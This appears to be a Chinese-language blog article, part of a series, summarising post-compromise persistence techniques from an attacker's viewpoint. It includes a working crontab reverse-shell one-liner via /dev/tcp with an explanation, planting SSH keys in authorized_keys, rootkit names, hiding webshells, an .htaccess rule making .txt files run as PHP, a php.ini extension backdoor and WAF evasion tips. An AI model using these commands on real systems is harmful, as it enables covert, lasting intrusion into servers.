主页 > 网络知识 > 权限维持及后门持久化技巧总结(5)

权限维持及后门持久化技巧总结(5)

这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用,crontab格式 每隔60分钟执行一次

(crontab -l;echo '*/60 * * * *   exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -

命令解释:

echo '*/60 * * * *' #crontab格式 每隔60分钟执行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9,要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9;   将fd9从定向到标准输入;

exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

/bin/bash --noprofile -i 3.2SSH公钥免密

将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。客户端执行生成公钥和私钥:

ssh-keygen -t rsa

 

 

 

 

image.png

 

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。

服务端:

cat id_dsa.pub >>   ~/.ssh/authorized_key

 

 

 

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。

3.3Rookit后门

3.3.1应用级rookit

应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。

3.4内核级rookit

隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。

四、Web权限维持

通过对webshell的动静态免杀绕过防护软件,进行权限维持。通过修改webshell时间戳,放到不被管理员关注的一些深层目录中,去除敏感shell函数特征,通过对shell流量双向加密去避开常规waf检测

4.1Webshell隐藏

使用windows自带命令行工具attrib用来显示或更改文件属性。

attrib +r +s +h

 

 

 

image.png

 

4.2配置文件型后门

在.htaccess中添加php解析的新后缀并上传,之后上传该后缀的木马即可。

AddType application/x-httpd-php .txt

 

image.png

 

 

image.png

 

4.3中间件后门

将编译好的so文件添加到php.ini的extension中。当模块被初始化时,会去加载执行我们的代码。当发送特定参数的字符串过去时,即可触发后门。

五、总结

本文从攻击者视角总结了在获取到服务器或主机权限后,维持权限的一些技巧,持久化主要是为了把攻陷的目标作为据点进一步深入渗透。由于水平有限,欢迎大家指出文中的错误和交流指教。

参考资料:

1.https://xz.aliyun.com/t/6822 持久化研究

2.https://github.com/klionsec/

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!